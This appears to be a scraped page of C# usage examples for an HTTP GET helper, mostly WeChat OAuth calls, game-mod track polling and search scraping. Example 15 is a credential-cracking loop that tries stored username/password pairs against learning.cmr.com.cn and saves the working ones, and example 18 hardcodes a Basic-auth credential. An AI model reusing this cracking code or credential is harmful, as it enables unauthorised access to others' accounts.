Esempio n. 1
0
        public WxConfigModel WxConfig(ISettingService _settingService, ICacheManager _cacheManager, string url)
        {
            var appId     = _settingService.GetSettingByKey <string>(WeChatSettingNames.AppId);
            var appSecret = _settingService.GetSettingByKey <string>(WeChatSettingNames.AppSecret);

            var token   = GetAccessToken(_cacheManager, appId, appSecret);
            var tickent = string.Format("https://api.weixin.qq.com/cgi-bin/ticket/getticket?access_token={0}&type=jsapi", token.access_token);

            JSApiTicketModel apiTicker = HttpUtility.Get <JSApiTicketModel>(tickent);

            var nonceStr  = CommonHelper.GenerateNonceStr();
            var timestamp = CommonHelper.GetTimeStamp();

            var urlPath   = "jsapi_ticket=" + apiTicker.ticket + "&noncestr=" + nonceStr + "&timestamp=" + timestamp + "&url=http://" + url;
            var signature = CommonHelper.EncryptToSHA1(urlPath);

            var jsonData = new WxConfigModel
            {
                appId     = appId,
                timestamp = timestamp,
                noncestr  = nonceStr,
                signature = signature,
                ticket    = apiTicker.ticket,
                value     = signature,
                urlPath   = urlPath
            };

            return(jsonData);
        }
Esempio n. 2
0
        public OAuthUserInfo GetWeChatUserInfo(ISettingService _settingService, string code)
        {
            var appId     = _settingService.GetSettingByKey <string>(WeChatSettingNames.AppId);
            var appSecret = _settingService.GetSettingByKey <string>(WeChatSettingNames.AppSecret);

            try
            {
                if (!string.IsNullOrEmpty(code))
                {
                    OAuthToken oauthToken = HttpUtility.Get <OAuthToken>(string.Format("https://api.weixin.qq.com/sns/oauth2/access_token?appid={0}&secret={1}&code={2}&grant_type=authorization_code", appId, appSecret, code));

                    string      accesstoken = string.Empty;
                    AccessToken token       = HttpUtility.Get <AccessToken>(string.Format("https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid={0}&secret={1}", appId, appSecret));

                    if (token != null && !string.IsNullOrEmpty(token.access_token))
                    {
                        accesstoken = token.access_token;
                    }

                    if (oauthToken != null && !string.IsNullOrEmpty(oauthToken.openid))
                    {
                        OAuthUserInfo userInfo = HttpUtility.Get <OAuthUserInfo>(string.Format("https://api.weixin.qq.com/cgi-bin/user/info?access_token={0}&openid={1}&lang=zh_CN", accesstoken, oauthToken.openid));
                        return(userInfo);
                    }
                }
            }
            catch
            {
            }

            return(null);
        }
Esempio n. 3
0
        private void PollTracks()
        {
            if (TimeUtility.DateTimeToUnixTimeStamp(DateTime.UtcNow) > m_nextTrackPollTime)
            {
                Console.WriteLine("Polling tracks...");
                lock (m_trackLocker)
                {
                    m_tracks = HttpUtility.Get <Track[]>("https://spptqssmj8.execute-api.us-east-1.amazonaws.com/test/tracks?validation=valid");
                }

                lock (m_displayTrackLocker)
                {
                    m_displayTracks = GetTracks().Select(t => new Trackmanagement.Track
                    {
                        Name       = t.TrackName,
                        Type       = t.TrackType,
                        Image      = string.Format("{0}\\{1}{2}", Reflex.LocalImagePath, t.TrackName, Path.GetExtension(t.ThumbnailUrl)).Replace("\\", "/"),
                        Author     = t.Author,
                        Slot       = t.SlotNumber,
                        Date       = TimeUtility.UnixTimeStampToString(t.CreationTime),
                        Installs   = t.RatingVoteCount,
                        MyInstalls = GetMyInstalls(t.TrackName),
                        Favorite   = GetFavorite(t.TrackName),
                    }).ToArray();
                }

                m_nextTrackPollTime = TimeUtility.DateTimeToUnixTimeStamp(DateTime.UtcNow) + TrackPollTimeInSeconds;
            }
        }
Esempio n. 4
0
        /// <summary>
        /// Gets the external ip address from HTTP.
        /// </summary>
        /// <param name="url">The HTTP provider to query.</param>
        /// <param name="timeout">The timeout for the query, in milliseconds.</param>
        /// <returns>The external IP address.</returns>
        public override IPAddress GetExternalFrom(string url, int timeout)
        {
            try
            {
                var response = HttpUtility.Get(url, timeout);
                if (response.Failure)
                {
                    return(IPAddress.None);
                }

                if (response.HasValue)
                {
                    var value = response.Value;
                    value = value.Replace("\n", String.Empty);
                    value = value.Trim();

                    IPAddress address;
                    if (IPAddress.TryParse(value, out address))
                    {
                        return(address);
                    }
                    return(IPAddress.None);
                }
                return(IPAddress.None);
            }
            catch (Exception)
            {
                return(IPAddress.None);
            }
        }
Esempio n. 5
0
 public static void Initialize()
 {
     m_shareRateLimiter.Add(TrackType.National, 0);
     m_shareRateLimiter.Add(TrackType.Supercross, 0);
     m_shareRateLimiter.Add(TrackType.FreeRide, 0);
     m_nextPollTime = 0;
     m_sharedTracks = HttpUtility.Get <SharedReflexTracks[]>("https://spptqssmj8.execute-api.us-east-1.amazonaws.com/test/share");
 }
Esempio n. 6
0
        public AccessToken GetAccessToken()
        {
            var         appId     = _settingService.GetSettingByKey <string>(WeChatSettingNames.AppId);
            var         appSecret = _settingService.GetSettingByKey <string>(WeChatSettingNames.AppSecret);
            AccessToken token     = HttpUtility.Get <AccessToken>(string.Format(token_Url, appId, appSecret));

            return(token);
        }
Esempio n. 7
0
 private static void PollSharedTracks()
 {
     if (Reflex.OverlayIsVisible() && TimeUtility.DateTimeToUnixTimeStamp(DateTime.UtcNow) > m_nextPollTime)
     {
         lock (m_sharedTrackLocker)
         {
             m_sharedTracks = HttpUtility.Get <SharedReflexTracks[]>("https://spptqssmj8.execute-api.us-east-1.amazonaws.com/test/share");
         }
         m_nextPollTime = TimeUtility.DateTimeToUnixTimeStamp(DateTime.UtcNow) + TrackSharing.ServerPollingRateInSeconds;
     }
 }
Esempio n. 8
0
        public List <EntitySubjectModule> GetSubjectModules(int subjectId)
        {
            string address = @"http://www.sweetfly.net/api/cmr/GetSubjectModules?id=" + subjectId;

            var strResponse = HttpUtility.Get(address, Encoding.UTF8);

            var js     = new JavaScriptSerializer();
            var result = js.Deserialize <ApiResponse <List <EntitySubjectModule> > >(strResponse);

            return(result.Result);
        }
Esempio n. 9
0
        public AccessToken GetAccessToken(ICacheManager cacheManager, string appId, string appSecret)
        {
            //AccessToken token = cacheManager.GetCache(ArtSolution.ArtSolutionConsts.CACHE_ACCESS_TOKEN)
            //                        .Get(ArtSolutionConsts.CACHE_ACCESS_TOKEN, () =>
            //                        {
            //                            return HttpUtility.Get<AccessToken>(string.Format("https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid={0}&secret={1}", appId, appSecret));
            //                        });
            return(HttpUtility.Get <AccessToken>(string.Format("https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid={0}&secret={1}", appId, appSecret)));

            //return token;
        }
Esempio n. 10
0
        public void TestHttpPureGet()
        {
            HttpUtility.IsCertificateNeedValidate = false;
            HttpUtility.IsEnsureSuccessStatusCode = false;
            string url      = $"{this.BaseUrl}/base64/RmV3Qm94";
            string token    = "<token>";
            string response = HttpUtility.Get(url, token, new List <Header> {
            });

            Assert.AreEqual("FewBox", response);
        }
Esempio n. 11
0
        public ActionResult KfListData()
        {
            var    token    = this._cacheManager.GetCache(CACHE_ACCESSTOKEN).Get(CACHE_ACCESSTOKEN, () => GetAccessToken());
            string url      = string.Format(kf_Url, token.access_token);
            var    list     = HttpUtility.Get <KfAccountListModel>(url);
            var    jsonData = new DataSourceResult
            {
                ExtraData = list.kf_list
            };

            return(AbpJson(jsonData));
        }
Esempio n. 12
0
        public ActionResult MenuList()
        {
            var    menuUrl  = "https://api.weixin.qq.com/cgi-bin/menu/get?access_token={0}";
            var    token    = this._cacheManager.GetCache(CACHE_ACCESSTOKEN).Get(CACHE_ACCESSTOKEN, () => GetAccessToken());
            string url      = string.Format(menuUrl, token.access_token);
            var    list     = HttpUtility.Get <KfAccountListModel>(url);
            var    jsonData = new DataSourceResult
            {
                ExtraData = list.kf_list
            };

            return(AbpJson(jsonData));
        }
        public bool IsActiveVersion()
        {
            bool active  = false;
            var  version = HttpUtility.Get <ReflexManagerVersion[]>("https://spptqssmj8.execute-api.us-east-1.amazonaws.com/test/version");

            m_activeVersion = version.Where(v => v.Active == true).Select(v => v.Version).FirstOrDefault();

            active = m_activeVersion == Version;
            if (active == false)
            {
                Console.WriteLine(string.Format("Update requred: (v{0})", m_activeVersion));
            }

            return(active);
        }
Esempio n. 14
0
        static void Main(string[] args)
        {
            try
            {
                Console.WriteLine("Requesting invalid tracks from the database.");
                var invalidTracks = HttpUtility.Get <Track[]>("https://spptqssmj8.execute-api.us-east-1.amazonaws.com/test/tracks?validation=invalid").ToList();
                var zipsPendingProcessingDirectory = string.Format(@"{0}\ZipsPendingProcessing", Environment.CurrentDirectory);
                Directory.CreateDirectory(zipsPendingProcessingDirectory);

                //{ //Handle rars
                //    var rarTracks = invalidTracks.Where(t => Path.GetExtension(t.TrackUrl) == ".rar").ToArray();
                //    if (rarTracks.Length > 0)
                //    {
                //        Console.WriteLine(string.Format("Found {0} tracks that are compressed with WinRAR. Initializing process to convert them to zip.", rarTracks.Length));
                //        RarHandler rarHandler = new RarHandler(zipsPendingProcessingDirectory);
                //        rarHandler.ConvertToZipFiles(rarTracks);
                //    }
                //}

                //{ //Handle multiple tracks
                //    var multipleTracks = invalidTracks.Where(t => t.ErrorInfo.Contains("Please only upload one track per zip file")).ToArray();
                //    if (multipleTracks.Length > 0)
                //    {
                //        MultipleTracksPerZipHandler handler = new MultipleTracksPerZipHandler(zipsPendingProcessingDirectory);
                //        invalidTracks.AddRange(handler.SeperateTracks(multipleTracks));
                //    }
                //}

                //{ //Handle multiple tracks
                //    var slot8Tracks = invalidTracks.Where(t => t.ErrorInfo == "Unknown slot; ").ToArray();
                //    if (slot8Tracks.Length > 0)
                //    {
                //        Slot8Handler handler = new Slot8Handler(zipsPendingProcessingDirectory);
                //        handler.ProcessTracks(slot8Tracks);
                //    }
                //}

                TrackProcessor trackProcessor = new TrackProcessor();
                trackProcessor.ProcessZipFiles(invalidTracks.ToArray(), zipsPendingProcessingDirectory);
            }
            catch (Exception e)
            {
                ExceptionLogger.LogException(e);
            }

            Console.WriteLine("Press any key to close this window.");
            Console.ReadKey();
        }
Esempio n. 15
0
        private async static Task Crack()
        {
            try
            {
                const string url = "http://learning.cmr.com.cn/member/checkuser.asp?type=AD";
                while (true)
                {
                    var skipNo = Interlocked.Increment(ref skip);
                    repository.SavePosition(skipNo);
                    var crackUser = await repository.GetOne(skipNo);

                    try
                    {
                        var baseAuth = string.Format("Basic {0}",
                                                     Base64Encrypt.EncryptString(crackUser.UserName + ":" + crackUser.Password));

                        var strResponse = HttpUtility.Get(url, Encoding.UTF8, x =>
                        {
                            x.Referer = "http://learning.cmr.com.cn/";
                            x.Headers["Authorization"] = baseAuth;
                        });

                        //保存
                        repository.SaveSuccessUserInfo(new CmrUserInfo()
                        {
                            UserName   = crackUser.UserName,
                            Password   = crackUser.Password,
                            CreateDate = DateTime.Now
                        });
                        Console.WriteLine(JsonUtility.Serialize(crackUser));
                    }
                    catch (WebException)
                    {
                        Console.Write(".");
                    }
                    catch (Exception ex)
                    {
                        Console.WriteLine(ex.Message);
                    }
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
            }
        }
Esempio n. 16
0
        /// <summary>
        /// Issues a GET http request and returns the answer string.
        /// </summary>
        /// <param name="url">The url of the http request.</param>
        /// <param name="timeout">Timeout for operation.</param>
        /// <returns>The parsed string.</returns>
        public virtual string Get(string url, int timeout)
        {
            // HTTP GET
            var response = HttpUtility.Get(this.Hostname + url, timeout);

            if (response.Failure || !response.HasValue)
            {
                Service.Logger.Log(response.Error);
            }

            // If we've failed again, return null
            if (response.Failure)
            {
                return(null);
            }

            // Return the response
            return(response.Value);
        }
Esempio n. 17
0
        public Reflex()
        {
            lock (m_trackLocker)
            {
                m_tracks = HttpUtility.Get <Track[]>("https://spptqssmj8.execute-api.us-east-1.amazonaws.com/test/tracks?validation=valid");
            }

            m_uiFiles = new string[]
            {
                "MXTables_DLC008.dx9.database"
                , "MXTables_DLC008.dx9.package"
                , "MXTables_DLC008a.dx9.database"
                , "MXTables_DLC008a.dx9.package"
                , "MXUI_DLC008.dx9.database"
                , "MXUI_DLC008.dx9.package"
            };
            m_reflexWasRunningLastFrame = false;
            m_nextTrackPollTime         = TimeUtility.DateTimeToUnixTimeStamp(DateTime.UtcNow) + TrackPollTimeInSeconds;
        }
Esempio n. 18
0
        private static void Main(string[] args)
        {
            int          subjectId = 0;
            int          typeId    = 0;
            string       url       = @"http://learning.cmr.com.cn/student/acourse/HomeworkCenter/Modelzhlx.asp?CourseID=bk044a";
            const string encoding  = "GB2312";
            const string fileName  = "output.xml";

            Console.Write("SubjectId:");
            string strModuleId = Console.ReadLine();

            subjectId = int.Parse(strModuleId);

            Console.Write("Url:");
            url = Console.ReadLine();

            Console.Write("Type(1-Normal;2-Old):");
            string strTypeId = Console.ReadLine();

            typeId = int.Parse(strTypeId);

            CmrClient client = new CmrClient();

            GenerateNormalHandler.setModules(client.GetSubjectModules(subjectId));

            string strResponse = HttpUtility.Get(url, Encoding.GetEncoding(encoding), x =>
            {
                x.Headers["Authorization"] = "Basic am9objEyMzk1Mjpzd2VldDEyMw==";
            });

            GenerateHandler handler = HandlerFactory.CreateHandler(typeId);
            var             list    = handler.Process(strResponse, subjectId);

            using (var fsWrite = File.Create(fileName))
            {
                var xs = new XmlSerializer(list.GetType());
                xs.Serialize(fsWrite, list);
            }

            Process.Start(fileName);
            Console.WriteLine("OK:" + fileName);
            Console.ReadKey();
        }
Esempio n. 19
0
        private static void ShareTracks(string trackType)
        {
            try
            {
                var currentSharedList = HttpUtility.Get <SharedReflexTracks[]>("https://spptqssmj8.execute-api.us-east-1.amazonaws.com/test/share");
                var randomNames       = HttpUtility.Get <string[]>("http://names.drycodes.com/10?nameOptions=games");
                var trackSetName      = randomNames.Where(n => currentSharedList.Any(t => t.Name == n) == false).FirstOrDefault();
                if (trackSetName != null)
                {
                    var installedTracks = LocalSettings.GetTracks().Where(t => t.Installed && t.Type == trackType).Select(t => t.Name).ToArray();

                    SharedReflexTracks tracksToShare = new SharedReflexTracks
                    {
                        Name         = trackSetName,
                        Type         = trackType,
                        Tracks       = string.Join(",", installedTracks),
                        CreationTime = TimeUtility.DateTimeToUnixTimeStamp(DateTime.UtcNow)
                    };

                    bool success = HttpUtility.Post("https://spptqssmj8.execute-api.us-east-1.amazonaws.com/test/share", tracksToShare);
                    if (success)
                    {
                        Log.Add(Trackmanagement.LogMessageType.LogInfo, string.Format("Uploaded your {0} tracks as '{1}'. Tell your party to install it from the Shared Tracks Window.", trackType, trackSetName));
                        long nextShareTime = TimeUtility.DateTimeToUnixTimeStamp(DateTime.UtcNow) + TrackSharing.ShareRateLimitInSeconds;
                        m_shareRateLimiter[trackType] = nextShareTime;
                    }
                    else
                    {
                        Log.Add(Trackmanagement.LogMessageType.LogError, string.Format("An unexpected error occured attempting to share your {0} tracks.", trackType));
                    }
                }
                else
                {
                    Log.Add(Trackmanagement.LogMessageType.LogError, string.Format("Unable to share your {0} tracks because a unique name could not be generated. Please try again later.", trackType));
                }
            }
            catch (Exception e)
            {
                ExceptionLogger.LogException(e);
            }
        }
Esempio n. 20
0
        /// <summary>
        /// 得到8道随机题目及答案
        /// </summary>
        public int GetExam(SubjectModule module)
        {
            if (LoginInfo == null)
            {
                throw new NoNullAllowedException("LoginInfo");
            }

            var encoding = Encoding.GetEncoding(module.HtmlDataSource.Encoding);

            //获取原始信息
            try
            {
                var strResponse = HttpUtility.Get(module.HtmlDataSource.Uri, encoding, x =>
                {
                    x.Headers["Authorization"] = LoginInfo.Authorization;
                });

                if (string.IsNullOrEmpty(strResponse))
                {
                    return(0);
                }

                ExamItemHandler handler = Activator.CreateInstance(module.HandlerType) as ExamItemHandler;
                var             list    = handler.Process(strResponse, module.Id);

                if (list == null || list.Count <= 0)
                {
                    return(0);
                }

                //保存数据库
                return(ExamItemService.SaveOrUpdate(list));
            }
            catch (Exception ex)
            {
                _logger.Error("异常", ex);
                return(0);
            }
        }
Esempio n. 21
0
        public OAuthUserInfo GetWeChatUserInfo(ISettingService _settingService, ICacheManager cacheManager, string openId)
        {
            var appId     = _settingService.GetSettingByKey <string>(WeChatSettingNames.AppId);
            var appSecret = _settingService.GetSettingByKey <string>(WeChatSettingNames.AppSecret);

            try
            {
                var Logger = Abp.Dependency.IocManager.Instance.Resolve <ILogger>();
                Logger.Debug("获取用户信息");

                var           token    = GetAccessToken(cacheManager, appId, appSecret);
                OAuthUserInfo userInfo = HttpUtility.Get <OAuthUserInfo>(string.Format("https://api.weixin.qq.com/cgi-bin/user/info?access_token={0}&openid={1}&lang=zh_CN", token.access_token, openId), Logger);

                Logger.Debug(token.access_token + "|||" + userInfo.nickname + "|||" + userInfo.openid);
                return(userInfo);
            }
            catch
            {
            }

            return(null);
        }
Esempio n. 22
0
        public IEnumerable <SearchResult> Search(string keyword, bool english = false)
        {
            if (string.IsNullOrWhiteSpace(this.baseUrl))
            {
                return(null);
            }

            var logger = NiologManager.CreateLogger();

            var lang     = english ? "en" : "cn";
            var ensearch = english ? "1" : "0";
            var url      = this.baseUrl.Replace("{keyword}", System.Web.HttpUtility.UrlEncode(keyword)).Replace("{lang}", lang).Replace("{ensearch}", ensearch);

            logger.Info()
            .Message($"{this.Name} url: {url}")
            .Write();
            var html = HttpUtility.Get(url);

            if (string.IsNullOrWhiteSpace(html))
            {
                logger.Warn()
                .Message($"{this.Name} response is null or white space")
                .Write();
                return(null);
            }

            var doc = new HtmlDocument();

            doc.LoadHtml(html);
            var nodes = doc.DocumentNode.SelectAllNodes(this.nodesSelection);

            if (nodes == null || nodes.Count <= 0)
            {
                logger.Warn()
                .Message($"cannot select nodes from {this.Name} response")
                .Write();
                return(null);
            }

            var searchResults = nodes.AsParallel().AsOrdered().Select(node =>
            {
                var result = new SearchResult
                {
                    Source = this.Name
                };

                var link = node.SelectFirstNode(this.linkSelection);
                if (link == null)
                {
                    return(null);
                }

                result.Url = link.Attributes["href"]?.Value.Trim();
                if (string.IsNullOrWhiteSpace(result.Url))
                {
                    return(null);
                }

                result.Title = System.Web.HttpUtility.HtmlDecode(link.InnerText.Trim());

                var desc    = node.SelectFirstNode(this.descSelection);
                result.Desc = System.Web.HttpUtility.HtmlDecode(desc?.InnerText.Trim());

                return(result);
            })
                                .Where(result => result != null).ToList();
            var count = searchResults.Count();

            for (int i = 0; i < count; i++)
            {
                searchResults[i].Score = i + 1;
                searchResults[i].Base  = count + 1;
            }

            return(searchResults);
        }
Esempio n. 23
0
        public ActionResult OAuthUserInfo()
        {
            var _settingService = Abp.Dependency.IocManager.Instance.Resolve <ISettingService>();

            var appId     = _settingService.GetSettingByKey <string>(WeChatSettingNames.AppId);
            var appSecret = _settingService.GetSettingByKey <string>(WeChatSettingNames.AppSecret);

            string code = Request.QueryString["code"];

            try
            {
                if (!string.IsNullOrEmpty(code))
                {
                    OAuthToken oauthToken = HttpUtility.Get <OAuthToken>(string.Format("https://api.weixin.qq.com/sns/oauth2/access_token?appid={0}&secret={1}&code={2}&grant_type=authorization_code", appId, appSecret, code));

                    if (oauthToken != null && !string.IsNullOrEmpty(oauthToken.openid) && !string.IsNullOrEmpty(oauthToken.access_token))
                    {
                        OAuthUserInfo userInfo = GetValue <OAuthUserInfo>(string.Format("https://api.weixin.qq.com/sns/userinfo?access_token={0}&openid={1}&lang=zh_CN", oauthToken.access_token, oauthToken.openid));
                        if (userInfo != null)
                        {
                            Logger.Debug("获取到用户信息nickName:" + userInfo.nickname);
                            ViewData["headImage"] = userInfo.headimgurl;
                            ViewData["openid"]    = userInfo.openid;
                            ViewData["nickName"]  = userInfo.nickname;
                            if (userInfo.sex == 0)
                            {
                                ViewData["sex"] = "未知";
                            }
                            else if (userInfo.sex == 1)
                            {
                                ViewData["sex"] = "男";
                            }
                            else
                            {
                                ViewData["sex"] = "女";
                            }
                            ViewData["province"] = userInfo.province;
                            ViewData["city"]     = userInfo.city;
                        }
                        else
                        {
                            Logger.Debug("未获取到用户信息");
                        }
                    }
                    else
                    {
                        Logger.Debug("access_token:" + oauthToken.access_token + ",openid:" + oauthToken.openid);
                    }
                }
                else
                {
                    return(Redirect(string.Format("https://open.weixin.qq.com/connect/oauth2/authorize?appid={0}&redirect_uri={1}&response_type=code&scope=snsapi_userinfo&state=123456#wechat_redirect", appId, Server.UrlEncode("http://" + Request.Url.Host + Url.Action("OAuthUserInfo")))));
                }
            }
            catch (Exception ex)
            {
                Logger.Debug("OAuthUserInfo:" + ex.Message);
                ViewData["errmsg"] = ex.Message;
            }

            return(View());
        }
Esempio n. 24
0
        public IEnumerable <SearchResult> Search(string keyword, bool english = false)
        {
            if (string.IsNullOrWhiteSpace(this.baseUrl))
            {
                return(null);
            }

            var lang     = english ? "en" : "cn";
            var ensearch = english ? "1" : "0";
            var url      = this.baseUrl.Replace("{keyword}", System.Web.HttpUtility.UrlEncode(keyword)).Replace("{lang}", lang).Replace("{ensearch}", ensearch);

            Log.Information("{Name} url: {Url}", this.Name, url);
            var uri  = new Uri(url);
            var html = HttpUtility.Get(uri);

            if (string.IsNullOrWhiteSpace(html))
            {
                Log.Warning("{Name} response is null or white space when searching {Url}", this.Name, url);
                return(null);
            }

            var doc = new HtmlDocument();

            doc.LoadHtml(html);
            var nodes = doc.DocumentNode.SelectAllNodes(this.nodesSelection);

            if (nodes == null || nodes.Count <= 0)
            {
                using (LogContext.PushProperty("Problem", "bad query"))
                    using (LogContext.PushProperty("Url", url))
                    {
                        Log.Warning("cannot select nodes from {Name} response", this.Name);
                    }
                return(null);
            }

            var searchResults = nodes.AsParallel().AsOrdered().Select(node =>
            {
                var result = new SearchResult
                {
                    Source = this.Name
                };

                var link = node.SelectFirstNode(this.linkSelection);
                if (link == null)
                {
                    return(null);
                }

                var href = link.Attributes["href"]?.Value.Trim();
                if (string.IsNullOrWhiteSpace(href))
                {
                    return(null);
                }
                if (HttpUtility.IsUrl(uri, ref href))
                {
                    result.Url = href;
                }
                else
                {
                    return(null);
                }

                result.Title = System.Web.HttpUtility.HtmlDecode(link.InnerText.Trim());

                var desc    = node.SelectFirstNode(this.descSelection);
                result.Desc = System.Web.HttpUtility.HtmlDecode(desc?.InnerText.Trim());

                return(result);
            })
                                .Where(result => result != null).ToList();
            var count = searchResults.Count();

            for (int i = 0; i < count; i++)
            {
                searchResults[i].Score = i + 1;
                searchResults[i].Base  = count + 1;
            }

            return(searchResults);
        }
Esempio n. 25
0
        public string OAuth(string appId, string redirect_uri)
        {
            var oatuth = string.Format("https://open.weixin.qq.com/connect/oauth2/authorize?appid={0}&redirect_uri={1}&response_type=code&scope=snsapi_base&state={2}#wechat_redirect", appId, System.Web.HttpUtility.UrlEncode(redirect_uri, System.Text.Encoding.UTF8), "wechat");

            return(HttpUtility.Get(oatuth));
        }